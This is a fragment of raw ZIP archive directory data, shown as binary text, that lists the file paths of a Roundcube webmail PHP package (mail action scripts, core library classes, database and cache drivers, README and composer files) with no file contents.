h�\W��z d�Vprogram/actions/mail/headers.phpnu�[���PK
h�\-x(�##&�Wprogram/actions/mail/list_contacts.phpnu�[���PK
h�\[p�n��*/Wprogram/actions/mail/attachment_delete.phpnu�[���PK
h�\d���,, 7Wprogram/actions/mail/pagenav.phpnu�[���PK
h�\��,Z��|CWprogram/actions/mail/list.phpnu�[���PK
h�\҉U�u^Wprogram/actions/mail/index.phpnu�[���PK
h�\�{�S��#�^Xprogram/actions/mail/addcontact.phpnu�[���PK
h�\�7�\�D�D�mXprogram/actions/mail/send.phpnu�[���PK
h�\��K����Xprogram/actions/mail/import.phpnu�[���PK
h�\��f�-�-��Xprogram/actions/mail/search.phpnu�[���PK
h�\6���+�Xprogram/actions/mail/attachment_display.phpnu�[���PK
h�\^��::'�Yprogram/actions/mail/folder_expunge.phpnu�[���PK
h�\P�~PP*�
Yprogram/actions/mail/attachment_rename.phpnu�[���PK
h�\���RDD"/Yprogram/actions/mail/getunread.phpnu�[���PK
h�\S{�>�>�!Yprogram/actions/mail/get.phpnu�[���PK
h�\��R-R-*�`Yprogram/actions/mail/attachment_upload.phpnu�[���PK
h�\������Yprogram/actions/mail/bounce.phpnu�[���PK
h�\>��%%%��Yprogram/actions/mail/autocomplete.phpnu�[���PK
h�\V����%�Yprogram/actions/mail/delete.phpnu�[���PK
h�\��.�	�	O�Yprogram/actions/mail/copy.phpnu�[���PK
h�\V��hh ��Yprogram/actions/mail/sendmdn.phpnu�[���PK
h�\�xz<��(BZprogram/actions/mail/search_contacts.phpnu�[���PK
h�\����	�	%%Zprogram/actions/mail/group_expand.phpnu�[���PK
h�\��ir $Zprogram/actions/mail/compose.phpnu�[���PK
h�\�\44p5[program/actions/mail/mark.phpnu�[���PK
h�\(�~yy#�T[program/actions/mail/viewsource.phpnu�[���PK
h�\�kHC�"�"%�c[program/actions/mail/check_recent.phpnu�[���PK
h�\l>Į�&�&,��[program/lib/Roundcube/rcube_ldap_generic.phpnu�[���PK
h�\'>X99k9k)��[program/lib/Roundcube/rcube_html2text.phpnu�[���PK
h�\,�T���*8\program/lib/Roundcube/rcube_result_set.phpnu�[���PK
h�\x�/&&,)\program/lib/Roundcube/rcube_message_part.phpnu�[���PK
h�\�KS����"�5\program/lib/Roundcube/rcube_db.phpnu�[���PK
h�\{C�����%��\program/lib/Roundcube/rcube_vcard.phpnu�[���PK
h�\�L�bb)�v]program/lib/Roundcube/rcube_csv2vcard.phpnu�[���PK
h�\h7ޖbb*?�]program/lib/Roundcube/spellchecker/atd.phpnu�[���PK
h�\���J66-��]program/lib/Roundcube/spellchecker/googie.phpnu�[���PK
h�\^�W~��.�	^program/lib/Roundcube/spellchecker/enchant.phpnu�[���PK
h�\����
�
-l^program/lib/Roundcube/spellchecker/engine.phpnu�[���PK
h�\ʙ�-�*^program/lib/Roundcube/spellchecker/pspell.phpnu�[���PK
h�\-�������%�?^program/lib/Roundcube/rcube_utils.phpnu�[���PK
h�\���#�#+_program/lib/Roundcube/rcube_imap_search.phpnu�[���PK
h�\���֮S�S-
?_program/lib/Roundcube/rcube_result_thread.phpnu�[���PK
h�\�k��K�K%�_program/lib/Roundcube/rcube_cache.phpnu�[���PK
h�\��v�F,F,/��_program/lib/Roundcube/rcube_string_replacer.phpnu�[���PK
h�\:��/�/#�`program/lib/Roundcube/bootstrap.phpnu�[���PK
h�\�,�
�
�$w;`program/lib/Roundcube/rcube_mime.phpnu�[���PK
h�\B�%��1�1&�`program/lib/Roundcube/rcube_output.phpnu�[���PK
h�\
eXC�p�p*'�`program/lib/Roundcube/rcube_plugin_api.phpnu�[���PK
h�\[(�"eaprogram/lib/Roundcube/db/mysql.phpnu�[���PK
h�\�%��n
n
#��aprogram/lib/Roundcube/db/sqlsrv.phpnu�[���PK
h�\�9B��"F�aprogram/lib/Roundcube/db/param.phpnu�[���PK
h�\��	4GG#�aprogram/lib/Roundcube/db/oracle.phpnu�[���PK
h�\���#��aprogram/lib/Roundcube/db/sqlite.phpnu�[���PK
h�\�i8��(�("��aprogram/lib/Roundcube/db/pgsql.phpnu�[���PK
h�\�߁�"dbprogram/lib/Roundcube/db/mssql.phpnu�[���PK
h�\\-r��c�c'�4bprogram/lib/Roundcube/rcube_charset.phpnu�[���PK
h�\>�¤O�O�*��bprogram/lib/Roundcube/rcube_imap_cache.phpnu�[���PK
h�\�2��mmmm,�5cprogram/lib/Roundcube/rcube_tnef_decoder.phpnu�[���PK
h�\l�u؉+�+)j�cprogram/lib/Roundcube/rcube_text2html.phpnu�[���PK
h�\��0[['L�cprogram/lib/Roundcube/rcube_browser.phpnu�[���PK
h�\{�*UmTmT'��cprogram/lib/Roundcube/rcube_session.phpnu�[���PK
h�\� Ĵ�Q�Q$�4dprogram/lib/Roundcube/rcube_smtp.phpnu�[���PK
h�\��i�'�'2��dprogram/lib/Roundcube/rcube_result_multifolder.phpnu�[���PK
h�\
3��"�".��dprogram/lib/Roundcube/rcube_message_header.phpnu�[���PK
h�\\���z�z+��dprogram/lib/Roundcube/rcube_addressbook.phpnu�[���PK
h�\����zz&�Leprogram/lib/Roundcube/rcube_config.phpnu�[���PK
h�\�>Yƺ3�3,��eprogram/lib/Roundcube/rcube_result_index.phpnu�[���PK
h�\��HӅ�,�fprogram/lib/Roundcube/rcube_imap_generic.phpnu�[���PK
h�\��g�55&�hprogram/lib/Roundcube/rcube_plugin.phpnu�[���PK
h�\,X,;;(�Shprogram/lib/Roundcube/rcube_enriched.phpnu�[���PK
h�\	�d��3�3,�ihprogram/lib/Roundcube/rcube_spellchecker.phpnu�[���PK
h�\����~�~$o�hprogram/lib/Roundcube/rcube_user.phpnu�[���PK
h�\�]^�^�tiprogram/lib/Roundcube/rcube.phpnu�[���PK
h�\&�!W�W�(!�iprogram/lib/Roundcube/rcube_contacts.phpnu�[���PK
h�\�裬չչ'Њjprogram/lib/Roundcube/rcube_message.phpnu�[���PK
h�\��&�FGFG%�Dkprogram/lib/Roundcube/rcube_image.phpnu�[���PK
h�\
X_�C�C$��kprogram/lib/Roundcube/rcube_ldap.phpnu�[���PK
h�\�G`��-��lprogram/lib/Roundcube/rcube_base_replacer.phpnu�[���PK
h�\Z922'��lprogram/lib/Roundcube/session/redis.phpnu�[���PK
h�\��UU+*�lprogram/lib/Roundcube/session/memcached.phpnu�[���PK
h�\���""$�mprogram/lib/Roundcube/session/db.phpnu�[���PK
h�\��]��*P(mprogram/lib/Roundcube/session/memcache.phpnu�[���PK
h�\�a5v�	�	%:?mprogram/lib/Roundcube/session/php.phpnu�[���PK
h�\A�&9fxfx'iImprogram/lib/Roundcube/rcube_storage.phpnu�[���PK
h�\7�I-�-�'&�mprogram/lib/Roundcube/rcube_washtml.phpnu�[���PK
h�\e�!s%�_nprogram/lib/Roundcube/cache/redis.phpnu�[���PK
h�\�ա���)}nprogram/lib/Roundcube/cache/memcached.phpnu�[���PK
h�\�x_���"8�nprogram/lib/Roundcube/cache/db.phpnu�[���PK
h�\I%�

(�nprogram/lib/Roundcube/cache/memcache.phpnu�[���PK
h�\�ǚ-rr#q�nprogram/lib/Roundcube/cache/apc.phpnu�[���PK
h�\�'�RqYqY$6�nprogram/lib/Roundcube/rcube_imap.phpnu�[���PK
h�\�[}55.�3qprogram/lib/Roundcube/rcube_content_filter.phpnu�[���PK
h�\�|�8RqRq�<qprogram/lib/Roundcube/html.phpnu�[���PK
h�\!#)�
�
,.�qprogram/lib/Roundcube/rcube_spoofchecker.phpnu�[���PK
h�\N��{�9�9+J�qprogram/lib/Roundcube/rcube_mime_decode.phpnu�[���PK
h�\a֛
�4�4)��qprogram/lib/Roundcube/rcube_addresses.phpnu�[���PK
h�\p�����(rprogram/lib/Roundcube/README.mdnu�[���PK
h�\�ft�

	8rREADME.mdnu�[���PK
h�\/�I>>NGrcomposer.json-distnu�[���PK�
�
�`�Kr